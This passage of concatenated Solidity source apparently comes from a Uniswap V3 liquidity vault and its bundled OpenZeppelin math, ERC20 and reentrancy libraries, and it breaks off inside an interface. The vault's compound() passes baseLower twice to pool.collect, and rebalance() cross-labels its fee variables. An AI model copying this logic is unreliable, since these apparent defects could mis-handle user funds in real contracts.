(limitLiquidity, , ) = _position(limitLower, limitUpper);
if (limitLiquidity > 0) {
pool.burn(limitLower, limitUpper, 0);
}
}
/// @notice Pull liquidity tokens from liquidity and receive the tokens
/// @param shares Number of liquidity tokens to pull from liquidity
/// @return base0 amount of token0 received from base position
/// @return base1 amount of token1 received from base position
/// @return limit0 amount of token0 received from limit position
/// @return limit1 amount of token1 received from limit position
function pullLiquidity(
uint256 shares,
uint256[4] memory minAmounts
) external onlyOwner returns(
uint256 base0,
uint256 base1,
uint256 limit0,
uint256 limit1
) {
zeroBurn();
(base0, base1) = _burnLiquidity(
baseLower,
baseUpper,
_liquidityForShares(baseLower, baseUpper, shares),
address(this),
false,
minAmounts[0],
minAmounts[1]
);
(limit0, limit1) = _burnLiquidity(
limitLower,
limitUpper,
_liquidityForShares(limitLower, limitUpper, shares),
address(this),
false,
minAmounts[2],
minAmounts[3]
);
}
function _baseLiquidityForShares(uint256 shares) internal view returns (uint128) {
return _liquidityForShares(baseLower, baseUpper, shares);
}
function _limitLiquidityForShares(uint256 shares) internal view returns (uint128) {
return _liquidityForShares(limitLower, limitUpper, shares);
}
/// @param shares Number of liquidity tokens to redeem as pool assets
/// @param to Address to which redeemed pool assets are sent
/// @param from Address from which liquidity tokens are sent
/// @return amount0 Amount of token0 redeemed by the submitted liquidity tokens
/// @return amount1 Amount of token1 redeemed by the submitted liquidity tokens
function withdraw(
uint256 shares,
address to,
address from,
uint256[4] memory minAmounts
) nonReentrant external returns (uint256 amount0, uint256 amount1) {
require(shares > 0, "shares");
require(to != address(0), "to");
/// update fees
zeroBurn();
/// Withdraw liquidity from Uniswap pool
(uint256 base0, uint256 base1) = _burnLiquidity(
baseLower,
baseUpper,
_baseLiquidityForShares(shares),
to,
false,
minAmounts[0],
minAmounts[1]
);
(uint256 limit0, uint256 limit1) = _burnLiquidity(
limitLower,
limitUpper,
_limitLiquidityForShares(shares),
to,
false,
minAmounts[2],
minAmounts[3]
);
// Push tokens proportional to unused balances
uint256 unusedAmount0 = token0.balanceOf(address(this)).mul(shares).div(totalSupply());
uint256 unusedAmount1 = token1.balanceOf(address(this)).mul(shares).div(totalSupply());
if (unusedAmount0 > 0) token0.safeTransfer(to, unusedAmount0);
if (unusedAmount1 > 0) token1.safeTransfer(to, unusedAmount1);
amount0 = base0.add(limit0).add(unusedAmount0);
amount1 = base1.add(limit1).add(unusedAmount1);
require( from == msg.sender, "own");
_burn(from, shares);
emit Withdraw(from, to, shares, amount0, amount1);
}
/// @param _baseLower The lower tick of the base position
/// @param _baseUpper The upper tick of the base position
/// @param _limitLower The lower tick of the limit position
/// @param _limitUpper The upper tick of the limit position
/// @param feeRecipient Address of recipient of 10% of earned fees since last rebalance
function rebalance(
int24 _baseLower,
int24 _baseUpper,
int24 _limitLower,
int24 _limitUpper,
address feeRecipient,
uint256[4] memory inMin,
uint256[4] memory outMin
) nonReentrant external onlyOwner {
require(
_baseLower < _baseUpper &&
_baseLower % tickSpacing == 0 &&
_baseUpper % tickSpacing == 0
);
require(
_limitLower < _limitUpper &&
_limitLower % tickSpacing == 0 &&
_limitUpper % tickSpacing == 0
);
require(
_limitUpper != _baseUpper ||
_limitLower != _baseLower
);
require(feeRecipient != address(0));
/// update fees
(uint128 baseLiquidity, uint128 limitLiquidity) = zeroBurn();
/// Withdraw all liquidity and collect all fees from Uniswap pool
(, uint256 feesLimit0, uint256 feesLimit1) = _position(baseLower, baseUpper);
(, uint256 feesBase0, uint256 feesBase1) = _position(limitLower, limitUpper);
uint256 fees0 = feesBase0.add(feesLimit0);
uint256 fees1 = feesBase1.add(feesLimit1);
(baseLiquidity, , ) = _position(baseLower, baseUpper);
(limitLiquidity, , ) = _position(limitLower, limitUpper);
_burnLiquidity(baseLower, baseUpper, baseLiquidity, address(this), true, outMin[0], outMin[1]);
_burnLiquidity(limitLower, limitUpper, limitLiquidity, address(this), true, outMin[2], outMin[3]);
/// transfer 10% of fees for VISR buybacks
if (fees0 > 0) token0.safeTransfer(feeRecipient, fees0.div(10));
if (fees1 > 0) token1.safeTransfer(feeRecipient, fees1.div(10));
emit Rebalance(
currentTick(),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
fees0,
fees1,
totalSupply()
);
uint256[2] memory addMins = [inMin[0],inMin[1]];
baseLower = _baseLower;
baseUpper = _baseUpper;
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
addMins
);
addMins = [inMin[2],inMin[3]];
limitLower = _limitLower;
limitUpper = _limitUpper;
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
addMins
);
}
/// @notice Compound pending fees
/// @return baseToken0Owed Pending fees of base token0
/// @return baseToken1Owed Pending fees of base token1
/// @return limitToken0Owed Pending fees of limit token0
/// @return limitToken1Owed Pending fees of limit token1
function compound() external onlyOwner returns (
uint128 baseToken0Owed,
uint128 baseToken1Owed,
uint128 limitToken0Owed,
uint128 limitToken1Owed,
uint256[4] memory inMin
) {
// update fees for compounding
zeroBurn();
(, baseToken0Owed,baseToken1Owed) = _position(baseLower, baseUpper);
(, limitToken0Owed,limitToken1Owed) = _position(limitLower, limitUpper);
// collect fees
pool.collect(address(this), baseLower, baseLower, baseToken0Owed, baseToken1Owed);
pool.collect(address(this), limitLower, limitUpper, limitToken0Owed, limitToken1Owed);
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[0],inMin[1]]
);
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[2],inMin[3]]
);
}
/// @notice Add tokens to base liquidity
/// @param amount0 Amount of token0 to add
/// @param amount1 Amount of token1 to add
function addBaseLiquidity(uint256 amount0, uint256 amount1, uint256[2] memory inMin) external onlyOwner {
addLiquidity(
baseLower,
baseUpper,
address(this),
amount0 == 0 && amount1 == 0 ? token0.balanceOf(address(this)) : amount0,
amount0 == 0 && amount1 == 0 ? token1.balanceOf(address(this)) : amount1,
inMin
);
}
/// @notice Add tokens to limit liquidity
/// @param amount0 Amount of token0 to add
/// @param amount1 Amount of token1 to add
function addLimitLiquidity(uint256 amount0, uint256 amount1, uint256[2] memory inMin) external onlyOwner {
addLiquidity(
limitLower,
limitUpper,
address(this),
amount0 == 0 && amount1 == 0 ? token0.balanceOf(address(this)) : amount0,
amount0 == 0 && amount1 == 0 ? token1.balanceOf(address(this)) : amount1,
inMin
);
}
/// @notice Add Liquidity
function addLiquidity(
int24 tickLower,
int24 tickUpper,
address payer,
uint256 amount0,
uint256 amount1,
uint256[2] memory inMin
) internal {
uint128 liquidity = _liquidityForAmounts(tickLower, tickUpper, amount0, amount1);
_mintLiquidity(tickLower, tickUpper, liquidity, payer, inMin[0], inMin[1]);
}
/// @notice Adds the liquidity for the given position
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param liquidity The amount of liquidity to mint
/// @param payer Payer Data
/// @param amount0Min Minimum amount of token0 that should be paid
/// @param amount1Min Minimum amount of token1 that should be paid
function _mintLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
address payer,
uint256 amount0Min,
uint256 amount1Min
) internal {
if (liquidity > 0) {
mintCalled = true;
(uint256 amount0, uint256 amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(payer)
);
require(amount0 >= amount0Min && amount1 >= amount1Min, 'PSC');
}
}
/// @notice Burn liquidity from the sender and collect tokens owed for the liquidity
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param liquidity The amount of liquidity to burn
/// @param to The address which should receive the fees collected
/// @param collectAll If true, collect all tokens owed in the pool, else collect the owed tokens of the burn
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function _burnLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
address to,
bool collectAll,
uint256 amount0Min,
uint256 amount1Min
) internal returns (uint256 amount0, uint256 amount1) {
if (liquidity > 0) {
/// Burn liquidity
(uint256 owed0, uint256 owed1) = pool.burn(tickLower, tickUpper, liquidity);
require(owed0 >= amount0Min && owed1 >= amount1Min, "PSC");
// Collect amount owed
uint128 collect0 = collectAll ? type(uint128).max : _uint128Safe(owed0);
uint128 collect1 = collectAll ? type(uint128).max : _uint128Safe(owed1);
if (collect0 > 0 || collect1 > 0) {
(amount0, amount1) = pool.collect(to, tickLower, tickUpper, collect0, collect1);
}
}
}
/// @notice Get the liquidity amount for given liquidity tokens
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param shares Shares of position
/// @return The amount of liquidity toekn for shares
function _liquidityForShares(
int24 tickLower,
int24 tickUpper,
uint256 shares
) internal view returns (uint128) {
(uint128 position, , ) = _position(tickLower, tickUpper);
return _uint128Safe(uint256(position).mul(shares).div(totalSupply()));
}
/// @notice Get the info of the given position
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @return liquidity The amount of liquidity of the position
/// @return tokensOwed0 Amount of token0 owed
/// @return tokensOwed1 Amount of token1 owed
function _position(int24 tickLower, int24 tickUpper)
internal
view
returns (
uint128 liquidity,
uint128 tokensOwed0,
uint128 tokensOwed1
)
{
bytes32 positionKey = keccak256(abi.encodePacked(address(this), tickLower, tickUpper));
(liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @notice Callback function of uniswapV3Pool mint
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override {
require(msg.sender == address(pool));
require(mintCalled == true);
mintCalled = false;
if (amount0 > 0) token0.safeTransfer(msg.sender, amount0);
if (amount1 > 0) token1.safeTransfer(msg.sender, amount1);
}
/// @return total0 Quantity of token0 in both positions and unused in the Hypervisor
/// @return total1 Quantity of token1 in both positions and unused in the Hypervisor
function getTotalAmounts() public view returns (uint256 total0, uint256 total1) {
(, uint256 base0, uint256 base1) = getBasePosition();
(, uint256 limit0, uint256 limit1) = getLimitPosition();
total0 = token0.balanceOf(address(this)).add(base0).add(limit0);
total1 = token1.balanceOf(address(this)).add(base1).add(limit1);
}
/// @return liquidity Amount of total liquidity in the base position
/// @return amount0 Estimated amount of token0 that could be collected by
/// burning the base position
/// @return amount1 Estimated amount of token1 that could be collected by
/// burning the base position
function getBasePosition()
public
view
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
(uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1) = _position(
baseLower,
baseUpper
);
(amount0, amount1) = _amountsForLiquidity(baseLower, baseUpper, positionLiquidity);
amount0 = amount0.add(uint256(tokensOwed0));
amount1 = amount1.add(uint256(tokensOwed1));
liquidity = positionLiquidity;
}
/// @return liquidity Amount of total liquidity in the limit position
/// @return amount0 Estimated amount of token0 that could be collected by
/// burning the limit position
/// @return amount1 Estimated amount of token1 that could be collected by
/// burning the limit position
function getLimitPosition()
public
view
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
(uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1) = _position(
limitLower,
limitUpper
);
(amount0, amount1) = _amountsForLiquidity(limitLower, limitUpper, positionLiquidity);
amount0 = amount0.add(uint256(tokensOwed0));
amount1 = amount1.add(uint256(tokensOwed1));
liquidity = positionLiquidity;
}
/// @notice Get the amounts of the given numbers of liquidity tokens
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param liquidity The amount of liquidity tokens
/// @return Amount of token0 and token1
function _amountsForLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
liquidity
);
}
/// @notice Get the liquidity amount of the given numbers of token0 and token1
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0
/// @param amount0 The amount of token1
/// @return Amount of liquidity tokens
function _liquidityForAmounts(
int24 tickLower,
int24 tickUpper,
uint256 amount0,
uint256 amount1
) internal view returns (uint128) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
amount0,
amount1
);
}
/// @return tick Uniswap pool's current price tick
function currentTick() public view returns (int24 tick) {
(, tick, , , , , ) = pool.slot0();
}
function _uint128Safe(uint256 x) internal pure returns (uint128) {
assert(x <= type(uint128).max);
return uint128(x);
}
/// @param _address Array of addresses to be appended
function setWhitelist(address _address) external onlyOwner {
whitelistedAddress = _address;
}
/// @notice Remove Whitelisted
function removeWhitelisted() external onlyOwner {
whitelistedAddress = address(0);
}
/// @notice Toggle Direct Deposit
function toggleDirectDeposit() external onlyOwner {
directDeposit = !directDeposit;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner, "only owner");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.5 <0.8.0;
import "../token/ERC20/ERC20.sol";
import "./IERC20Permit.sol";
import "../cryptography/ECDSA.sol";
import "../utils/Counters.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) internal EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_nonces[owner].current(),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_nonces[owner].increment();
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#mint
/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface
interface IUniswapV3MintCallback {
/// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
